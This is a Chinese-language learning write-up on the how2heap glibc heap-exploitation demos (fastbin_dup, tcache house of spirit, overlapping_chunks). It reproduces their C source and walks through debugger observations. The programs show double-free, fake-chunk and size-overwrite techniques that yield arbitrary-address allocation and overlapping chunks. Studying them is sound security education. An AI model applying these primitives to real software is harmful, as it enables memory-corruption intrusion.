how2heap

[TOC]

how2heap

实验环境

操作系统:WSL2 Ubuntu 22.04

glibc 版本:2.31

实验程序:fastbin_dup fastbin_dup_into_stack unsorted_bin_attack tcache_dup tcache_poisoning

实验目标:基础结构理解 + 简单利用

fastbin_dup

源码解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("This file demonstrates a simple double-free attack with fastbins.\n");

printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}

printf("Allocating 3 buffers.\n");
int *a = calloc(1, 8);
int *b = calloc(1, 8);
int *c = calloc(1, 8);

printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
a = calloc(1, 8);
b = calloc(1, 8);
c = calloc(1, 8);
printf("1st calloc(1, 8): %p\n", a);
printf("2nd calloc(1, 8): %p\n", b);
printf("3rd calloc(1, 8): %p\n", c);

assert(a == c);
}
  1. 首先申请 8 个容纳 8 字节的 chunk(大小为 0x20),然后释放了 7 个,刚好填满 0x20 这条 tcache bin。

  2. 然后申请 3 个 0x20 的 chunk,在 glibc2.31 版本的 __libc_calloc() 中,不会尝试从 tcache 中分配 chunk。所以还是从 top chunk 中分配。

  3. 然后进行三次 free,分别是 a,b,a。之所以将两次 free(a)间隔开来,是因为_int_free() 会检查前后两个 chunk 是否相同。此时 fastbin 结构是fastbinsY[0x20] -> a -> b -> a

  4. fastbin 采用 FIFO 策略。第一次 calloc 分配到是 a,第二次分配到是 b,第三次分配到是 a。所以在程序中 a 和 c 存储的地址是相同的,修改 a 地址的内容,也会影响 c,从而实现利用。

调试过程与原理解析

序号对应上面的分析步骤。

  1. 查看 tcache bin

    可以看到 tcache 被填了 7 个。

    image-20250523154420310

    注意链表是通过 fd 区域链接在一起。

    查看堆结构。

    image-20250523154611883

    可以看到 top chunk 地址为 0x555555559390,可以与下面的地址进行比较。同时可以看到每个 chunk 大小为 0x20 大小。

  2. 查看 top chunk 地址

可以看到又分配了三个

image-20250523164009572

注意在 tcache 中,prev_inuse 标记位不会被清除和 fastbin 一样。注意 Top chunk 地址从 0x555555559390增长到了 0x5555555593f0,刚好增长了 0x60.

  1. fastbin 结构变化

    第一次 free(a)之前。

    image-20250523165704500

    第一次 free(a)之后。由于 tcachebin[0x20]的已经满了,只能放在 fastbin 中。

    image-20250523170029202

    free(b) 之后。继续存入 fastbin 的栈顶。同时可以发现 fastbin 中的 fd 指向的是下一个 chunk 的 prev_size 的位置。

    image-20250523170626036

    第二次 free(a)。

    image-20250523171415749

    可以看到fastbin[0x20]->a->b->a

  2. 重新分配,得到两个相同地址。

    image-20250523171646690

执行过程

image-20250523171718005

tcache_house_of_spirit

源码解析

解析在注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

puts("This file demonstrates the house of spirit attack.");
puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.");
puts("Required primitives: known target address, ability to set up the start/end of the target memory");

puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache");
// 1. 首先将tcache填满,以便后续利用fastbin。
void *chunks[7];
for(int i=0; i<7; i++) {
chunks[i] = malloc(0x30);
}
for(int i=0; i<7; i++) {
free(chunks[i]);
}

puts("\nStep 2: Prepare the fake chunk");
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)

// 2. 在栈上准备fakechunk,一块是0x40大小的chunk,另一个随意,只要大小在设置在2*SIZE_SZ 和 av->system_mem 之间,不过也不需要分配出来。
long fake_chunks[10] __attribute__ ((aligned (0x10)));
printf("The target fake chunk is at %p\n", fake_chunks);
printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]);
printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.");
printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]);
fake_chunks[1] = 0x40; // this is the size

printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]);
fake_chunks[9] = 0x1234; // nextsize

// 3. 释放在第一个chunk,放置在fastbin中,然后calloc申请0x30的大小,即可获取fastbin【0x40】的chunk。
puts("\nStep 3: Free the first fake chunk");
puts("Note that the address of the fake chunk must be 16-byte aligned.\n");
void *victim = &fake_chunks[2];
free(victim);

puts("\nStep 4: Take out the fake chunk");
printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]);
printf("malloc can do the trick as well, you just need to do it for 8 times.");
void *allocated = calloc(1, 0x30);
printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim);

assert(allocated == victim);
}

调试过程与原理解析

  1. 填满 tcache

    image-20250524193741611
  2. 在栈上做一个 fake chunk

    设置第一个 chunk 的 size 字段为 0x40,下图红框是 fake_chunks 的存储的位置(设置了 0x10 对齐)。

    image-20250524200203429

    设置第二个 chunk 的 size 字段。

    image-20250524200553445
  3. 伪造 chunk。

    回收到 fastbin 中。注意要使用fake_chunks[2]的地址,因为 free 接收用户数据的地址。

    image-20250524201150218

    然后再使用 calloc 分配。可以在该地址中写入我们的数据,这个地址可以根据攻击位置设置。

    image-20250524201650422

执行过程

image-20250524201753181

可以看到 malloc 得到地址被设置成我们想要的。

overlapping_chunks

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
/*

A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
setbuf(stdout, NULL);

long *p1,*p2,*p3,*p4;
printf("\nThis is another simple chunks overlapping problem\n");
printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
"which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
"and the prev_size of it must match the unsortedbin's size\n"
"This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");

printf("Let's start to allocate 4 chunks on the heap\n");

// 1. 首先分配三个chunk,大小依次为0x80,0x500,0x80,实际可以使用的空间为0x78,0x4f8,0x78
p1 = malloc(0x80 - 8);
p2 = malloc(0x500 - 8);
p3 = malloc(0x80 - 8);

printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

memset(p1, '1', 0x80 - 8);
memset(p2, '2', 0x500 - 8);
memset(p3, '3', 0x80 - 8);

// 2. 伪造第二个chunk的size域,让其囊括到第三个chunk,先释放,然后分配一块等于我们伪造的chunk大小。
printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
int evil_chunk_size = 0x581;
int evil_region_size = 0x580 - 8;
printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
evil_chunk_size, evil_region_size);

/* VULNERABILITY */
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
/* VULNERABILITY */

printf("\nNow let's free the chunk p2\n");
free(p2);
printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");

printf("\nNow let's allocate another chunk with a size equal to the data\n"
"size of the chunk p2 injected size\n");
printf("This malloc will be served from the previously freed chunk that\n"
"is parked in the unsorted bin which size has been modified by us\n");
p4 = malloc(evil_region_size);

printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8);
printf("p4 should overlap with p3, in this case p4 includes all p3.\n");

printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
" and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");

//3. 修改伪造chunk可以影响其他块。
printf("Let's run through an example. Right now, we have:\n");
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
memset(p4, '4', evil_region_size);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
memset(p3, '3', 0x80);
printf("p4 = %s\n", (char *)p4);
printf("p3 = %s\n", (char *)p3);

assert(strstr((char *)p4, (char *)p3));
}

调试过程

  1. 查看三个 chunk 在堆中的分布

    第一个 0x80 ,赋值为 0x31;第二个 0x500,赋值为 0x32;第三个为 0x80,赋值为 0x33。

    image-20250525195556494
    image-20250525195611800
    1. 伪造 chunk。

      覆盖 size 区域。

      image-20250525200110436

      free 之前的 top chunk。

      image-20250525201440469

      先 free,这里不会放到 bin 中,因为它和 top chunk 相邻,会被 top chunk 合并。

      image-20250525201455324

      通过 malloc 获得与其他块重叠的块。top chunk 变回来,和 free 之前一样。

      image-20250525201520413
    2. 重叠的块

      这里刚好是全覆盖(我将代码中 80 改为了 0x80)。

      image-20250525201929541

执行过程

image-20250525202050690

p3 和 p4 结尾地址相同。

image-20250525202124747

可以通过修改 p4 来修改 p3。

总结

通过实践对堆的结构有了更深的了解,学会了利用堆来实现溢出,doublefree 等攻击。